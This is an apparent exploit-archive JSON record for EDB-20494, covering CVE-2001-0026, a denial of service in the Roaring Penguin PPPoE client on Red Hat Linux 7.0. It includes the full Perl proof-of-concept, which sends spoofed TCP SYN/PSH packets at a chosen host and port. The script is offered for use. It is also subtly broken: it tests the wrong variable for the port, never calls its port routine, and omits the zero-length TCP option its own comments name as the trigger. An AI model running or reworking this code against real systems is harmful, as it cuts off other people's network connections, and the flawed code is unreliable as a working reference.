{"exploit":{"id":"EDB-20494","name":"Red Hat Linux 7.0 - Roaring Penguin PPPoE Denial of Service (DoS)","description":"Red Hat Linux 7.0 - Roaring Penguin PPPoE Denial of Service (DoS)","cves":["CVE-2001-0026"],"author":"dethy","published":"2000-12-11","platform":"linux","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20494","path":"exploits/linux/dos/20494.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20494.pl","vulnerabilities":[{"id":"CVE-2001-0026","state":"PUBLISHED","title":null,"titleSource":null,"description":"rp-pppoe PPPoE client allows remote attackers to cause a denial of service via the Clamp MSS option and a TCP packet with a zero-length TCP option.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0026","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0026"},"updatedAt":"2024-08-08T04:06:54.596Z","retrievedAt":"2026-11-27T07:09:01.516Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20494.png?v=2","url":"https://exploitbin.com/exploits/EDB-20494","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20494/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20494/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2000/https://www.securityfocus.com/bid/2098/info\n\n# Roaring Penguin Software's PPPoE is a freeware PPP over Ethernet client often used by ADSL subscribers running Linux or NetBSD.\n\n# PPPoE contains a possibly remotely exploitable denial of service vulnerability in its handling of TCP packets when the Clamp_MSS option is used. If PPPoE recieves a malformed TCP packet with a \"zero-length option\", PPPoE will go into an infinite loop. As a result, the ppp connection being supported by PPPoE will time out and be terminated. A manual re-start is needed to regain functionality.\n\n# This bug has been fixed by Roaring Penguin Software in a new version, see the solutions section.\n\n# POC script that causes a DoS in an PPP-over-Ethernet Link, in RedHat 7.0.\n# Advisory: http://www.redhat.com/support/errata/RHSA-2000-130.html\n# by dethy\nuse Net::RawIP;\nuse Getopt::Std;\ngetopts('d:s:p:c',\\%args) || &usage;\nif(defined($args{d})){$daddr=$args{d};}else{&usage;}\nif(defined($args{s})){$src=$args{s};}else{$src=&randsrc;}\nif(defined($port{p})){$port=$args{p};}else{&usage;}\nif(defined($args{c})){$count=$args{c};}else{$count=10;}\n\nsub randport(){\n srand;\n return $sport=(int rand 65510);\n }\n\nsub randsrc(){\n  srand;\n  return $saddr=(int rand 255).\".\".(int rand 255).\".\".(int rand 255).\".\".(int rand 255);\n }\n\n $packet = new Net::RawIP({ip=>{},tcp=>{}});\n $packet->set({ ip => { saddr => $src,\n\t\t\tdaddr => $daddr,\n\t\t\ttos => 3 },\n               tcp => { source => $sport,\n\t\t\tdest => $port,\n                        syn => 1, psh => 1 } });\n\n $packet->send(0,$count);\n\nsub usage(){ die(\"pppoe-link POC DoS on RH7\\n$0 -d <dest> -s <source> -p <port> -c <count>\\n\"); }","sha256":"7e4c034e7dbb9047b3e8447b3afd2927caca6ae9f213a556761aebdfb7d7b1eb","bytes":1709,"fetchedAt":"2026-11-27T07:08:55.247Z","encoding":"utf-8 (display only; download retains original bytes)"}